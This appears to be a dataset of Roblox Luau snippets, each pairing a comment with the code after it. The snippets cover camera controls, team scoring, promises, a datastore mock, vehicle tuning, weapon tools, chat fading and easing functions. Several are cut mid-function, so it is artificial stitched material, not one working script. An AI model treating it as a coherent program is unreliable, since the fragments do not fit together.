elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then
OnMouse2Down(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyDown(input, processed)
end
end)
InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement and not IsTouch then
OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel and not IsTouch then
OnMouseWheel(input, processed)
end
end)
InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then
OnMouse2Up(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyUp(input, processed)
end
end)
ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
this:UpdateMouseBehavior()
end)
this.RotateInput = Vector2.new()
local getGamepadPan = function(name, state, input)
if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.Thumbstick2 then
if state == Enum.UserInputState.Cancel then
this.GamepadPanningCamera = Vector2.new(0,0)
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > 0.1 then
this.GamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
else
this.GamepadPanningCamera = Vector2.new(0,0)
end
end
end
local doGamepadZoom = function(name, state, input)
if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
if this.currentZoom > 0.5 then
this:ZoomCamera(0)
else
this:ZoomCamera(10)
end
end
end
game.ContextActionService:BindAction("RootCamGamepadPan", getGamepadPan, false, Enum.KeyCode.Thumbstick2)
game.ContextActionService:BindAction("RootCamGamepadZoom", doGamepadZoom, false, Enum.KeyCode.ButtonR3)
-- set mouse behavior
self:UpdateMouseBehavior()
end
function this:SetEnabled(newState)
if newState ~= self.Enabled then
self.Enabled = newState
if self.Enabled then
self:ConnectInputEvents()
else
self:DisconnectInputEvents()
end
end
end
local function OnPlayerAdded(player)
player.Changed:connect(function(prop)
if this.Enabled then
if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
this:ZoomCameraFixedBy(0)
end
end
end)
local function OnCharacterAdded(newCharacter)
this:ZoomCamera(12.5)
local humanoid = findPlayerHumanoid(player)
local start = tick()
while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
wait()
humanoid = findPlayerHumanoid(player)
end
local function setLookBehindChatacter()
if humanoid and humanoid.Torso and player.Character == newCharacter then
local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
this.RotateInput = Vector2.new(horizontalShift, vertShift)
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
end
wait()
setLookBehindChatacter()
end
player.CharacterAdded:connect(function(character)
if this.Enabled or SetCameraOnSpawn then
OnCharacterAdded(character)
SetCameraOnSpawn = false
end
end)
if player.Character then
spawn(function() OnCharacterAdded(player.Character) end)
end
end
if PlayersService.LocalPlayer then
OnPlayerAdded(PlayersService.LocalPlayer)
end
PlayersService.ChildAdded:connect(function(child)
if child and PlayersService.LocalPlayer == child then
OnPlayerAdded(PlayersService.LocalPlayer)
end
end)
return this
end
return CreateCamera
|
-- Functions |
function TeamManager:CreateTeams()
local newTeam = Instance.new("Team", game.Teams)
newTeam.TeamColor = BrickColor.new("Really red")
TeamPlayers[newTeam] = {}
TeamScores[newTeam] = 0
newTeam = Instance.new("Team", game.Teams)
newTeam.TeamColor = BrickColor.new("Really blue")
TeamPlayers[newTeam] = {}
TeamScores[newTeam] = 0
end
function TeamManager:CreateFFATeam()
local newTeamColor = BrickColor.Random()
while GetTeamFromColor(newTeamColor) do
newTeamColor = BrickColor.Random()
end
local newTeam = Instance.new("Team", game.Teams)
newTeam.TeamColor = newTeamColor
TeamPlayers[newTeam] = {}
TeamScores[newTeam] = 0
return newTeam
end
function TeamManager:AssignPlayerToTeam(player)
local smallestTeam
local lowestCount = math.huge
for team, playerList in pairs(TeamPlayers) do
if #playerList < lowestCount then
smallestTeam = team
lowestCount = #playerList
end
end
if not Configurations.TEAMS and (not smallestTeam or #TeamPlayers[smallestTeam] > 0) then
smallestTeam = TeamManager:CreateFFATeam()
end
table.insert(TeamPlayers[smallestTeam], player)
player.Neutral = false
player.TeamColor = smallestTeam.TeamColor
end
function TeamManager:RemovePlayer(player)
local team = GetTeamFromColor(player.TeamColor)
local teamTable = TeamPlayers[team]
for i = 1, #teamTable do
if teamTable[i] == player then
table.remove(teamTable, i)
if not Configurations.TEAMS then
team:Destroy()
end
return
end
end
end
function TeamManager:ClearTeamScores()
for _, team in pairs(Teams:GetTeams()) do
TeamScores[team] = 0
if Configurations.TEAMS then
DisplayManager:UpdateScore(team, 0)
end
end
end
function TeamManager:AddTeamScore(teamColor, score)
local team = GetTeamFromColor(teamColor)
TeamScores[team] = TeamScores[team] + score
if Configurations.TEAMS then
DisplayManager:UpdateScore(team, TeamScores[team])
end
end
function TeamManager:HasTeamWon()
for _, team in pairs(Teams:GetTeams()) do
if TeamScores[team] >= Configurations.POINTS_TO_WIN then
return team
end
end
return false
end
function TeamManager:GetWinningTeam()
local highestScore = 0
local winningTeam = nil
for _, team in pairs(Teams:GetTeams()) do
if TeamScores[team] > highestScore then
highestScore = TeamScores[team]
winningTeam = team
end
end
return winningTeam
end
function TeamManager:AreTeamsTied()
local teams = Teams:GetTeams()
local highestScore = 0
local tied = false
for _, team in pairs(teams) do
if TeamScores[team] == highestScore then
tied = true
elseif TeamScores[team] > highestScore then
tied = false
highestScore = TeamScores[team]
end
end
return tied
end
function TeamManager:ShuffleTeams()
for _, team in pairs(Teams:GetTeams()) do
TeamPlayers[team] = {}
end
local players = Players:GetPlayers()
while #players > 0 do
local rIndex = math.random(1, #players)
local player = table.remove(players, rIndex)
TeamManager:AssignPlayerToTeam(player)
end
end
|
--[[
Iterates serially over the given an array of values, calling the predicate callback on each before continuing.
If the predicate returns a Promise, we wait for that Promise to resolve before continuing to the next item
in the array. If the Promise the predicate returns rejects, the Promise from Promise.each is also rejected with
the same value.
Returns a Promise containing an array of the return values from the predicate for each item in the original list.
]] |
function Promise.each(list, predicate)
assert(type(list) == "table", string.format(ERROR_NON_LIST, "Promise.each"))
assert(type(predicate) == "function", string.format(ERROR_NON_FUNCTION, "Promise.each"))
return Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel)
local results = {}
local promisesToCancel = {}
local cancelled = false
local function cancel()
for _, promiseToCancel in ipairs(promisesToCancel) do
promiseToCancel:cancel()
end
end
onCancel(function()
cancelled = true
cancel()
end)
-- We need to preprocess the list of values and look for Promises.
-- If we find some, we must register our andThen calls now, so that those Promises have a consumer
-- from us registered. If we don't do this, those Promises might get cancelled by something else
-- before we get to them in the series because it's not possible to tell that we plan to use it
-- unless we indicate it here.
local preprocessedList = {}
for index, value in ipairs(list) do
if Promise.is(value) then
if value:getStatus() == Promise.Status.Cancelled then
cancel()
return reject(Error.new({
error = "Promise is cancelled",
kind = Error.Kind.AlreadyCancelled,
context = string.format(
"The Promise that was part of the array at index %d passed into Promise.each was already cancelled when Promise.each began.\n\nThat Promise was created at:\n\n%s",
index,
value._source
),
}))
elseif value:getStatus() == Promise.Status.Rejected then
cancel()
return reject(select(2, value:await()))
end
-- Chain a new Promise from this one so we only cancel ours
local ourPromise = value:andThen(function(...)
return ...
end)
table.insert(promisesToCancel, ourPromise)
preprocessedList[index] = ourPromise
else
preprocessedList[index] = value
end
end
for index, value in ipairs(preprocessedList) do
if Promise.is(value) then
local success
success, value = value:await()
if not success then
cancel()
return reject(value)
end
end
if cancelled then
return
end
local predicatePromise = Promise.resolve(predicate(value, index))
table.insert(promisesToCancel, predicatePromise)
local success, result = predicatePromise:await()
if not success then
cancel()
return reject(result)
end
results[index] = result
end
resolve(results)
end)
end
Promise.Each = Promise.each
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================ |
local function loadSpeeder(player, selectedSpeeder)
PlayerConverter:PlayerToSpeederServer(player, selectedSpeeder)
end -- loadSpeeder()
local function loadCharacter(player)
player:LoadCharacter()
end -- loadCharacter |
-- Trim empty datastores and scopes from an entire datastore type: |
local function prepareDataStoresForExport(origin)
local dataPrepared = {}
for name, scopes in pairs(origin) do
local exportScopes = {}
for scope, data in pairs(scopes) do
local exportData = {}
for key, value in pairs(data) do
exportData[key] = value
end
if next(exportData) ~= nil then -- Only export datastore when non-empty
exportScopes[scope] = exportData
end
end
if next(exportScopes) ~= nil then -- Only export scope list when non-empty
dataPrepared[name] = exportScopes
end
end
if next(dataPrepared) ~= nil then -- Only return datastore type when non-empty
return dataPrepared
end
end
local function preprocessKey(key)
if type(key) == "number" then
if key ~= key then
return "NAN"
elseif key >= math.huge then
return "INF"
elseif key <= -math.huge then
return "-INF"
end
return tostring(key)
end
return key
end
local function simulateYield()
if Constants.YIELD_TIME_MAX > 0 then
wait(rand:NextNumber(Constants.YIELD_TIME_MIN, Constants.YIELD_TIME_MAX))
end
end
local function simulateErrorCheck(method)
if Constants.SIMULATE_ERROR_RATE > 0 and rand:NextNumber() <= Constants.SIMULATE_ERROR_RATE then
simulateYield()
error(method .. " rejected with error (simulated error)", 3)
end
end
|
--Tune |
OverheatSpeed = .2 --How fast the car will overheat
CoolingEfficiency = .04 --How fast the car will cool down
RunningTemp = 85 --In degrees
Fan = true --Cooling fan
FanTemp = 100 --At what temperature the cooling fan will activate
FanSpeed = .1
FanVolume = .2
BlowupTemp = 112 --At what temperature the engine will blow up
GUI = true --GUI temperature gauge
|
--Loop For Making Rays For The Bullet's Trajectory |
for i = 1, 30 do
local thisOffset = offset + Vector3.new(0, yOffset*(i-1), 0)
local travelRay = Ray.new(point1,thisOffset)
local hit, position = workspace:FindPartOnRay(travelRay, parts.Parent)
local distance = (position - point1).magnitude
round.Size = Vector3.new(1, distance, 1)
round.CFrame = CFrame.new(position, point1)
* CFrame.new(0, 0, -distance/2)
* CFrame.Angles(math.rad(90),0,0)
round.Parent = workspace
point1 = point1 + thisOffset
if hit then
round:remove()
local e = Instance.new("Explosion")
e.BlastRadius = 4
e.BlastPressure = 1
e.ExplosionType = "NoCraters"
e.Position = position
e.Parent = workspace
local players = game.Players:getChildren()
for i = 1, #players do
if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally
character = players[i].Character
if character then
torso = character:findFirstChild'Torso'
if torso then
torsoPos = torso.Position
origPos = round.Position
local ray = Ray.new(origPos, torsoPos-origPos)
local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList)
if hit then
if hit.Parent == character then
human = hit.Parent:findFirstChild("Humanoid")
if human then
distance = (position-origPos).magnitude |
-- Make the HotbarFrame, which holds only the Hotbar Slots |
HotbarFrame = NewGui('Frame', 'Hotbar')
HotbarFrame.BackgroundTransparency = 0.7
local grad = script.UICorner:Clone()
grad.Parent = HotbarFrame
HotbarFrame.Parent = MainFrame
|
-- How fast a player starts with 0 levels |
local startMoveSpeed = 7 |
--!strict |
type Array<T> = { [number]: T }
type PredicateFunction<T> = (value: T, index: number, array: Array<T>) -> boolean
return function<T>(array: Array<T>, predicate: PredicateFunction<T>): T | nil
for i = 1, #array do
local element = array[i]
if predicate(element, i, array) then
return element
end
end
return nil
end
|
--[=[
Get the name of the enum.
@return string
@since v2.0.0
]=] |
function EnumList:GetName()
return self[NAME_KEY]
end
export type EnumList = typeof(EnumList.new("", { "" }))
return EnumList
|
-- find player's head pos |
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local head = vCharacter:findFirstChild("Head")
if head == nil then return end
local launch = head.Position + 10 * v
local missile = Pellet:clone()
missile.Position = launch
missile.Velocity = v * 220--160
missile.Locked = true
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,40,0)
force.Parent = missile
if (turbo) then
missile.Velocity = v * 140
force.force = Vector3.new(0,45,0)
end
missile.SnowballScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vCharacter
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
missile:SetNetworkOwner(vPlayer)
end
function rndDir()
return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit
end
Tool.Enabled = true
function onActivated(player,mouseHitp)
if not Tool.Enabled then
return
end
Tool.Enabled = false
Tool.Handle.Transparency=1
local character = Tool.Parent;
local humanoid = character:FindFirstChild("Humanoid")
if humanoid == nil then
return
end
local targetPos = mouseHitp --humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
fire(lookAt )
wait(2)
Tool.Enabled = true
Tool.Handle.Transparency=0
end
script.Parent.Clicked.OnServerEvent:connect(onActivated)
|
--[SETTINGS]-- |
['OwnerName'] = ""; -- put your EXACT username between the quotations
['BadgeID'] = 0; -- replace 0 with the number ID of your badge
}
|
-- functions |
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (oldAnimTrack ~= nil) then
oldAnimTrack:Stop()
oldAnimTrack:Destroy()
oldAnimTrack = nil
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
local function keyFrameReachedFunc(frameName)
if (frameName == "End") then |
--Valve Properties |
local BOVsound = car.DriveSeat.BOV
BOVsound.Volume = .2 --Bov Volume
BOVsound.Pitch = 1 -- Pitch [Don't change this]
BOVsound.SoundId = "rbxassetid://151152187" --Sound
local CPSI = 0
local Values = script.Parent.Parent:FindFirstChild("A-Chassis Interface")
local Throttle = Values.Values.Throttle.Value
local CurrentGear = Values.Values.Gear.Value
local CurrentRPM = Values.Values.RPM.Value
local _Tune = require(car["A-Chassis Tune"])
local MaxRPM = _Tune.Redline
Values.Values.TPSI.Value = PSI
local DEADBOOST = PSI - 0.5
local active = false
local boom = true
|
-- Watch for foreign additions to game-related locations |
wait(10)
plr.PlayerGui.MainGui.ChildAdded:connect(function()
kick()
end)
plr.PlayerScripts.ChildAdded:connect(function()
kick()
end)
plr.PlayerScripts.Functions.ChildAdded:connect(function()
kick()
end)
|
-- TYPE DEFINITION: Part Cache Instance |
export type PartCache = {
Open: {[number]: BasePart},
InUse: {[number]: BasePart},
CurrentCacheParent: Instance,
Template: BasePart,
ExpansionSize: number,
Trails: {[number]: Instance},
}
|
-- Initialize decorate tool |
local DecorateTool = require(CoreTools:WaitForChild 'Decorate')
Core.AssignHotkey('P', Core.Support.Call(Core.EquipTool, DecorateTool));
Core.AddToolButton(Core.Assets.DecorateIcon, 'P', DecorateTool)
return Core
|
--////////////////////////////////////////////////////////////////////////////////////////////
--////////////////////////////////////////////////////////////// Code to do chat window fading
--//////////////////////////////////////////////////////////////////////////////////////////// |
function CheckIfPointIsInSquare(checkPos, topLeft, bottomRight)
return (topLeft.X <= checkPos.X and checkPos.X <= bottomRight.X and
topLeft.Y <= checkPos.Y and checkPos.Y <= bottomRight.Y)
end
local backgroundIsFaded = false
local textIsFaded = false
local lastTextFadeTime = 0
local lastBackgroundFadeTime = 0
local fadedChanged = Instance.new("BindableEvent")
local mouseStateChanged = Instance.new("BindableEvent")
local chatBarFocusChanged = Instance.new("BindableEvent")
function DoBackgroundFadeIn(setFadingTime)
lastBackgroundFadeTime = tick()
backgroundIsFaded = false
fadedChanged:Fire()
ChatWindow:FadeInBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
local currentChannelObject = ChatWindow:GetCurrentChannel()
if (currentChannelObject) then
local Scroller = MessageLogDisplay.Scroller
Scroller.ScrollingEnabled = true
Scroller.ScrollBarThickness = moduleMessageLogDisplay.ScrollBarThickness
end
end
function DoBackgroundFadeOut(setFadingTime)
lastBackgroundFadeTime = tick()
backgroundIsFaded = true
fadedChanged:Fire()
ChatWindow:FadeOutBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
local currentChannelObject = ChatWindow:GetCurrentChannel()
if (currentChannelObject) then
local Scroller = MessageLogDisplay.Scroller
Scroller.ScrollingEnabled = false
Scroller.ScrollBarThickness = 0
end
end
function DoTextFadeIn(setFadingTime)
lastTextFadeTime = tick()
textIsFaded = false
fadedChanged:Fire()
ChatWindow:FadeInText((setFadingTime or ChatSettings.ChatDefaultFadeDuration) * 0)
end
function DoTextFadeOut(setFadingTime)
lastTextFadeTime = tick()
textIsFaded = true
fadedChanged:Fire()
ChatWindow:FadeOutText((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
end
function DoFadeInFromNewInformation()
DoTextFadeIn()
if ChatSettings.ChatShouldFadeInFromNewInformation then
DoBackgroundFadeIn()
end
end
function InstantFadeIn()
DoBackgroundFadeIn(0)
DoTextFadeIn(0)
end
function InstantFadeOut()
DoBackgroundFadeOut(0)
DoTextFadeOut(0)
end
local mouseIsInWindow = nil
function UpdateFadingForMouseState(mouseState)
mouseIsInWindow = mouseState
mouseStateChanged:Fire()
if (ChatBar:IsFocused()) then return end
if (mouseState) then
DoBackgroundFadeIn()
DoTextFadeIn()
else
DoBackgroundFadeIn()
end
end
spawn(function()
while true do
RunService.RenderStepped:wait()
while (mouseIsInWindow or ChatBar:IsFocused()) do
if (mouseIsInWindow) then
mouseStateChanged.Event:wait()
end
if (ChatBar:IsFocused()) then
chatBarFocusChanged.Event:wait()
end
end
if (not backgroundIsFaded) then
local timeDiff = tick() - lastBackgroundFadeTime
if (timeDiff > ChatSettings.ChatWindowBackgroundFadeOutTime) then
DoBackgroundFadeOut()
end
elseif (not textIsFaded) then
local timeDiff = tick() - lastTextFadeTime
if (timeDiff > ChatSettings.ChatWindowTextFadeOutTime) then
DoTextFadeOut()
end
else
fadedChanged.Event:wait()
end
end
end)
function getClassicChatEnabled()
if ChatSettings.ClassicChatEnabled ~= nil then
return ChatSettings.ClassicChatEnabled
end
return Players.ClassicChat
end
function getBubbleChatEnabled()
if ChatSettings.BubbleChatEnabled ~= nil then
return ChatSettings.BubbleChatEnabled
end
return Players.BubbleChat
end
function bubbleChatOnly()
return not getClassicChatEnabled() and getBubbleChatEnabled()
end
function UpdateMousePosition(mousePos, ignoreForFadeIn)
if not (moduleApiTable.Visible and moduleApiTable.IsCoreGuiEnabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)) then return end
if bubbleChatOnly() then
return
end
local windowPos = ChatWindow.GuiObject.AbsolutePosition
local windowSize = ChatWindow.GuiObject.AbsoluteSize
local newMouseState = CheckIfPointIsInSquare(mousePos, windowPos, windowPos + windowSize)
if FFlagFixChatWindowHoverOver then
if ignoreForFadeIn and newMouseState == true then
return
end
end
if (newMouseState ~= mouseIsInWindow) then
UpdateFadingForMouseState(newMouseState)
end
end
UserInputService.InputChanged:connect(function(inputObject, gameProcessedEvent)
if (inputObject.UserInputType == Enum.UserInputType.MouseMovement) then
local mousePos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)
UpdateMousePosition(mousePos, --[[ ignoreForFadeIn = ]] gameProcessedEvent)
end
end)
UserInputService.TouchTap:connect(function(tapPos, gameProcessedEvent)
UpdateMousePosition(tapPos[1], --[[ ignoreForFadeIn = ]] false)
end)
UserInputService.TouchMoved:connect(function(inputObject, gameProcessedEvent)
local tapPos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)
UpdateMousePosition(tapPos, --[[ ignoreForFadeIn = ]] false)
end)
UserInputService.Changed:connect(function(prop)
if prop == "MouseBehavior" then
if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
local windowPos = ChatWindow.GuiObject.AbsolutePosition
local windowSize = ChatWindow.GuiObject.AbsoluteSize
local screenSize = GuiParent.AbsoluteSize
local centerScreenIsInWindow = CheckIfPointIsInSquare(screenSize/2, windowPos, windowPos + windowSize)
if centerScreenIsInWindow then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
end)
|
-- Defina a prioridade da animação para inativo |
idleAnimationTrack.Priority = Enum.AnimationPriority.Idle
|
--[=[
@return value: any
Returns the value in the option, or throws an error if the option is None.
]=] |
function Option:Unwrap()
return self:Expect("Cannot unwrap option of None type")
end
|
---------------------------------------------------------------------------------- |
while true do
WaitTime = ((math.random()*1.9)+0.1)
--print(WaitTime)
wait(WaitTime/GeneralSpeed)
--print(math.random())
RandomBrightness = ((math.random()*1.5)+2)
--print(RandomBrightness)
light.Brightness = RandomBrightness -- brightness
end
|
-- a: amplitud
-- p: period |
local function outInElastic(t, b, c, d, a, p)
if t < d / 2 then
return outElastic(t * 2, b, c / 2, d, a, p)
else
return inElastic((t * 2) - d, b + c / 2, c / 2, d, a, p)
end
end
local function inBack(t, b, c, d, s)
if not s then s = 1.70158 end
t = t / d
return c * t * t * ((s + 1) * t - s) + b
end
local function outBack(t, b, c, d, s)
if not s then s = 1.70158 end
t = t / d - 1
return c * (t * t * ((s + 1) * t + s) + 1) + b
end
local function inOutBack(t, b, c, d, s)
if not s then s = 1.70158 end
s = s * 1.525
t = t / d * 2
if t < 1 then
return c / 2 * (t * t * ((s + 1) * t - s)) + b
else
t = t - 2
return c / 2 * (t * t * ((s + 1) * t + s) + 2) + b
end
end
local function outInBack(t, b, c, d, s)
if t < d / 2 then
return outBack(t * 2, b, c / 2, d, s)
else
return inBack((t * 2) - d, b + c / 2, c / 2, d, s)
end
end
local function outBounce(t, b, c, d)
t = t / d
if t < 1 / 2.75 then
return c * (7.5625 * t * t) + b
elseif t < 2 / 2.75 then
t = t - (1.5 / 2.75)
return c * (7.5625 * t * t + 0.75) + b
elseif t < 2.5 / 2.75 then
t = t - (2.25 / 2.75)
return c * (7.5625 * t * t + 0.9375) + b
else
t = t - (2.625 / 2.75)
return c * (7.5625 * t * t + 0.984375) + b
end
end
local function inBounce(t, b, c, d)
return c - outBounce(d - t, 0, c, d) + b
end
local function inOutBounce(t, b, c, d)
if t < d / 2 then
return inBounce(t * 2, 0, c, d) * 0.5 + b
else
return outBounce(t * 2 - d, 0, c, d) * 0.5 + c * .5 + b
end
end
local function outInBounce(t, b, c, d)
if t < d / 2 then
return outBounce(t * 2, b, c / 2, d)
else
return inBounce((t * 2) - d, b + c / 2, c / 2, d)
end
end
return {
linear = linear,
inQuad = inQuad,
outQuad = outQuad,
inOutQuad = inOutQuad,
outInQuad = outInQuad,
inCubic = inCubic ,
outCubic = outCubic,
inOutCubic = inOutCubic,
outInCubic = outInCubic,
inQuart = inQuart,
outQuart = outQuart,
inOutQuart = inOutQuart,
outInQuart = outInQuart,
inQuint = inQuint,
outQuint = outQuint,
inOutQuint = inOutQuint,
outInQuint = outInQuint,
inSine = inSine,
outSine = outSine,
inOutSine = inOutSine,
outInSine = outInSine,
inExpo = inExpo,
outExpo = outExpo,
inOutExpo = inOutExpo,
outInExpo = outInExpo,
inCirc = inCirc,
outCirc = outCirc,
inOutCirc = inOutCirc,
outInCirc = outInCirc,
inElastic = inElastic,
outElastic = outElastic,
inOutElastic = inOutElastic,
outInElastic = outInElastic,
inBack = inBack,
outBack = outBack,
inOutBack = inOutBack,
outInBack = outInBack,
inBounce = inBounce,
outBounce = outBounce,
inOutBounce = inOutBounce,
outInBounce = outInBounce,
}
|
--//Other//-- |
local UserInputService = game:GetService("UserInputService")
local Equipped = false
local event = script.Parent.Blocking
local event2 = script.Parent.BlockingStop
local blocking = false
local debounce = false
tool.Equipped:Connect(function()
Equipped = true
UserInputService.InputBegan:Connect(function(Input,Typing)
if Typing == false and Input.KeyCode == Enum.KeyCode.E and Equipped == true and blocking == false and debounce == false then
blockstarttrack:Play()
hum.WalkSpeed = 6
debounce = true
blockholdtrack:Play()
event:FireServer(hum)
blocking = true
wait(4)
event2:FireServer(hum)
blockholdtrack:Stop()
hum.WalkSpeed = 16
wait(1)
debounce = false
blocking = false
end
if Typing == false and Input.UserInputType == Enum.UserInputType.MouseButton1 and Equipped == true then
event2:FireServer(hum)
blockholdtrack:Stop()
hum.WalkSpeed = 16
debounce = false
blocking = false
end
end)
end)
tool.Unequipped:Connect(function()
Equipped = false
if blocking == true then
hum.WalkSpeed = 16
event2:FireServer(hum)
blockholdtrack:Stop()
blocking = false
debounce = false
end
end)
|
-- Ring2 descending |
for l = 1,#lifts2 do
if (lifts2[l].className == "Part") then
lifts2[l].BodyPosition.position = Vector3.new((lifts2[l].BodyPosition.position.x),(lifts2[l].BodyPosition.position.y-2),(lifts2[l].BodyPosition.position.z))
end
end
wait(0.1)
for p = 1,#parts2 do
parts2[p].CanCollide = false
end
wait(0.1)
|
-- Class |
local RadioButtonLabelClass = {}
RadioButtonLabelClass.__index = RadioButtonLabelClass
RadioButtonLabelClass.__type = "RadioButtonLabel"
function RadioButtonLabelClass:__tostring()
return RadioButtonLabelClass.__type
end
|
-- (Hat Giver Script - Loaded.) |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "GreenTopHat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,0.85,0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- goro7 |
game.ReplicatedStorage.Interactions.Server.GetVIPServerOwnerID.OnServerInvoke = function(plr)
-- Return owner
return game.VIPServerOwnerId
end
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================ |
local function UpdateDirection(arrow, targets)
if targets == 0 then return end
local checkpoint = targets[1]:FindFirstChild("Checkpoint")
local closestDistance = (arrow.Position - checkpoint.Position).magnitude
local closestTarget = checkpoint
-- Find nearest target
for _, target in ipairs(targets) do
checkpoint = target:FindFirstChild("Checkpoint")
local distance = (arrow.Position - checkpoint.Position).magnitude
if distance < closestDistance then
closestTarget = checkpoint
end
end
-- Point arrow at nearest target
arrow.CFrame = CFrame.new(arrow.Position, closestTarget.Position)
end -- UpdateDirection() |
--[[
Set up the internals of this script the same way you would a regular game. DO NOT change the name(s) of any of the folders already inside of this script.
Once you're done setting everything up, publish this model, copy the ID, Make the model PUBLIC (due to roblox removing private modules),
and paste the ID into the ArenaID Section under Edit Federation in 2X19.
If you want to import terrain into the game, put a terrainregion into workspace. (Recommended: https://create.roblox.com/marketplace/asset/148042198/Terrain-Save-and-Load)
to make said terrain spawnable/despawnable, put it in serverstorage, it will automatically be loaded and unloaded when using the spawn/despawn commands.
]] |
return script
|
-- Container for temporary connections (disconnected automatically) |
local Connections = {};
function MoveTool.Equip()
-- Enables the tool's equipped functionality
-- Set our current axis mode
SetAxes(MoveTool.Axes);
-- Start up our interface
ShowUI();
BindShortcutKeys();
EnableDragging();
end;
function MoveTool.Unequip()
-- Disables the tool's equipped functionality
-- If dragging, finish dragging
if Dragging then
FinishDragging();
end;
-- Clear unnecessary resources
HideUI();
HideHandles();
ClearConnections();
BoundingBox.ClearBoundingBox();
SnapTracking.StopTracking();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ClearConnection(ConnectionKey)
-- Clears the given specific connection
local Connection = Connections[ConnectionKey];
-- Disconnect the connection if it exists
if Connections[ConnectionKey] then
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if MoveTool.UI then
-- Reveal the UI
MoveTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
MoveTool.UI = Core.Tool.Interfaces.BTMoveToolGUI:Clone();
MoveTool.UI.Parent = Core.UI;
MoveTool.UI.Visible = true;
-- Add functionality to the axes option switch
local AxesSwitch = MoveTool.UI.AxesOption;
AxesSwitch.Global.Button.MouseButton1Down:connect(function ()
SetAxes('Global');
end);
AxesSwitch.Local.Button.MouseButton1Down:connect(function ()
SetAxes('Local');
end);
AxesSwitch.Last.Button.MouseButton1Down:connect(function ()
SetAxes('Last');
end);
-- Add functionality to the increment input
local IncrementInput = MoveTool.UI.IncrementOption.Increment.TextBox;
IncrementInput.FocusLost:connect(function (EnterPressed)
MoveTool.Increment = tonumber(IncrementInput.Text) or MoveTool.Increment;
IncrementInput.Text = Support.Round(MoveTool.Increment, 4);
end);
-- Add functionality to the position inputs
local XInput = MoveTool.UI.Info.Center.X.TextBox;
local YInput = MoveTool.UI.Info.Center.Y.TextBox;
local ZInput = MoveTool.UI.Info.Center.Z.TextBox;
XInput.FocusLost:connect(function (EnterPressed)
local NewPosition = tonumber(XInput.Text);
if NewPosition then
SetAxisPosition('X', NewPosition);
end;
end);
YInput.FocusLost:connect(function (EnterPressed)
local NewPosition = tonumber(YInput.Text);
if NewPosition then
SetAxisPosition('Y', NewPosition);
end;
end);
